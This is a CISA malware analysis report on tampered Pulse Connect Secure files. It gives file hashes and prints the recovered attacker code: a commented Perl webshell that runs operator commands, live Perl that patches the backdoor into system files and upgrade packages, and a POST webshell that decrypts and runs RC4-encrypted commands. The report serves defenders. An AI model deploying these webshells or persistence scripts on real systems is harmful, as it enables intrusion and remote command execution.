Notification
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.
Summary
Description
CISA received four files for analysis. Some of the files consist of shell scripts designed to modify a Pulse Secure Perl Common Gateway Interface (CGI) script file in place to become a webshell. One file is designed to intercept certificate-based multi-factor authentication. The other files are designed to check, parse and decrypt incoming web request data. This analysis is derived from malicious files found on Pulse Connect Secure devices.
For a downloadable copy of indicators of compromise, see: MAR-10338401-r2.v1.stix.
Submitted Files (4)
49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5 (DSUpgrade1.pm)
4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 (compcheckjs1.cgi)
6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392 (compcheckjs.cgi)
e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6 (libdsplibs.so)
Findings
e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6
Details
Name |
libdsplibs.so |
Size |
13516308 bytes |
Type |
ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV) |
MD5 |
3bc84412f932a560720680374156d188 |
SHA1 |
fa7a587bdcb78a5fdbc8870d6bbc228ebb74fead |
SHA256 |
e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6 |
SHA512 |
751efb187fb00c64bedff75ceb20c29f334aeaaa41039cbf58d7d2d8a3dce07ff43431a925b882ccd6988eba1b8d034cfddc722f5bfbdf584d5350daff375826 |
ssdeep |
196608:zmDHIGzGeEfllXr1gOCW/XepMhXHVF13Ex3YVnRbMGNAgQAqEhvzkliJzRvDTEVw:zmDPzAl3DhXHVo+nbhoyRGklxZlk |
Entropy |
6.548740 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Description
This file is a Pulse Secure ELF 32-bit LSB Shared Object that has been modified by a malicious actor to intercept certificate-based multi-factor authentication. The binary contains a code designed to write the current certificate information to "/home/perl/sha1.pm".
49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5
Tags
webshell
Details
Name |
DSUpgrade1.pm |
Size |
9795 bytes |
Type |
Perl5 module source, ASCII text |
MD5 |
5b1364cde69be60172092855debc4b44 |
SHA1 |
30ae381feea1b1a84b7996b8c1fa9182b9db15f5 |
SHA256 |
49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5 |
SHA512 |
b4a1ceac147a40855420c124e6deee0f416c52ee5b1432806ac5be2213dafba15ff224c41802b5e2f8badb6a33f5a70cdd83fa8591147dd86d0ccd5c5862c179 |
ssdeep |
192:eIB1XcTfXss+/BqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNkB4F3Ar8yXpayUM6:eIB1X1JhiJ/irZNkB4F3CjCswmPyVoM |
Entropy |
5.226813 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
91 |
64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 |
96 |
6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767 |
99 |
85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9 |
97 |
f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e |
Description
This file is a Pulse Secure PERL application with malicious CGI code patched in. The script contains patched in commented out code which is illustrated below. Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.
--Begin Patched In Commented Code--
###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install
#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install
#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend
###cgistart1
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib/MIME/Base64";
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split('&', $input)) {
# my ($var, $value) = split('=', $pair, 2);
#
# if($var) {
# $value =~ s/\+/ /g ;
# $value =~ s/%(..)/pack('c',hex($1))/eg;
#
# $ret{$var} = $value;
# }
# }
#
# return %ret;
#}
###cgiend1
###cgistart2
# my $enckey='1234567';
# my $data='1234567812345678';
# my $cipher = RC4($enckey, $data);
# my $encode = MIME::Base64::encode($cipher);
# my $psalLaunch = CGI::param("serverid");
# if ($psalLaunch =~ /jzlEcmZJ2lm1d2kZlniiV8fcueBeDrbJ/)
# {
# my ($cmd, %FORM);
#
# $|=1;
#
# print "Content-Type: text/html\r\n";
# print "\r\n";
# %FORM = parse_parameters($ENV{'QUERY_STRING'});
#
# if(defined $FORM{'cmd'}) {
# $cmd = $FORM{'cmd'};
# }
#
#print '<HTML>
#<body>
#<form action="" method="GET">
#<input type="text" name="cmd" size=45 value="' . $cmd . '">
#<input type="text" name="serverid" size=45 value="jzlEcmZJ2lm1d2kZlniiV8fcueBeDrbJ">
#<input type="submit" value="Run">
#</form>
#<pre>';
#
#if(defined $FORM{'cmd'}) {
# print "Results of '$cmd' execution:\n\n";
# print "-"x80;
# print "\n";
#
# print $encode;
# system $cmd;
# print "-"x80;
# print "\n";
#}
# print "</pre>";
# exit(0);
# }
###cgiend2
--End Patched In Commented CGI Code--
The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.
--Begin Patched In Live/Uncommented Code--
sub installPackage {
my ($clean, $console, $html) = @_;
$ENV{"DSINSTALL_CLEAN"} = $clean;
##start_total
##perlstart
system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");
my $statushh = $? % 255;
if( $statushh != 0 )
{
system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");
system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");
system("/bin/rm -f K872Bu");
system("/bin/rm -f Mj1Za");
system("/bin/rm -f 1uMfVB");
system("/bin/rm -fr root");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
}
else{
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");
system("rm -f Nc3Gy.pm");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
system("rm -fr installer");
}
--End Patched In Live/Uncommented CGI Code--
4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2
Tags
webshell
Details
Name |
compcheckjs1.cgi |
Size |
2414 bytes |
Type |
Perl script text executable |
MD5 |
e3aae9d16b492a5c85cef8f63c68d2b1 |
SHA1 |
b0e273df5f62724732f795db2e8c51803355dafb |
SHA256 |
4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 |
SHA512 |
ff9995bba1791fb8af47fec3150a6eb4d3189677a13c108a9ab92f1c219c9bf872e69eb74e1c01b19ad5ebf329275e3aecf356eff553921f7c942d95c10fc9bb |
ssdeep |
48:EgtsLY+9hcMsufVIRLxtC93bZ+1Qg641ZmghbYuSqP7/O6DRuSIU+MI0R8exf7:EaqY+CgVIzQpboH/hVf7xuSInMjxz |
Entropy |
5.396338 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
99 |
6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392 |
Description
This file is a Pulse Secure CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the Hypertext Transfer Protocol (HTTP) POST method. If the requested data is found, the data will be verified against a hard-coded string value. If the values match, it will base64 decode the data (the input command [CMD] and then decrypt it using Rivest Cipher 4 (RC4). The RC4 key to decrypt is sent in the environment variable "HTTP_X_CNT". The decrypted data will then be executed on the target system and the commands return value sent to the malicious actor will be RC4 encrypted and base64 encoded. The POST data and the key were not available for analysis.
Displayed below are the code snippets used to check for incoming web requests and decrypt the requested data:
--Begin Code Snippets--
sub main {
# just show the page
my $request_method=$ENV{'REQUEST_METHOD'};
if ($request_method eq "POST") {
my $x_key = $ENV{'HTTP_X_KEY'};
if ($x_key eq "[Redacted]") {
my $x_cmd = $ENV{'HTTP_X_CMD'};
my $x_cnt = $ENV{'HTTP_X_CNT'};
$x_cmd = MIME::Base64::decode($x_cmd);
$x_cmd = RC4($x_cnt, $x_cmd);
my $res;
my $re=popen(*DUMP, $x_cmd, "r");
while(<DUMP>){
$res .= $_;
}
close(*DUMP);
print "Content-type:text/html\n\n";
print MIME::Base64::encode(RC4($x_cnt, $res));
exit(0);
}
else {
exit(0);
}
}
--End Code Snippets--
6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392
Details
Name |
compcheckjs.cgi |
Size |
2414 bytes |
Type |
Perl script text executable |
MD5 |
7955317db3ba639cd467508a3052fa25 |
SHA1 |
3872a44a7e311f21d617531105eff9b390a7d189 |
SHA256 |
6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392 |
SHA512 |
c2cda891a881fc67d829bbe93275d1e6a0d9cd2876a7efbbbaac7926155c2c112ef94fa0f515a69a5044f06eb4bcfae26ba62d76bd495c122b75f3cf470228a5 |
ssdeep |
48:EgtsLY+9hcMsufVIRLxtC93bZJ1Qg641ZmghbYuSqP7/O6DRuSIU+MI0R8exf7:EaqY+CgVIzQpbfH/hVf7xuSInMjxz |
Entropy |
5.385611 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
99 |
4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 |
Description
This file is a Pulse Secure CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the HTTP POST method. The same malicious script was found in "compcheckjs1.cgi" (4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2), however, this file uses a different key.
Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".
Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/
Document FAQ
What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.
Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.
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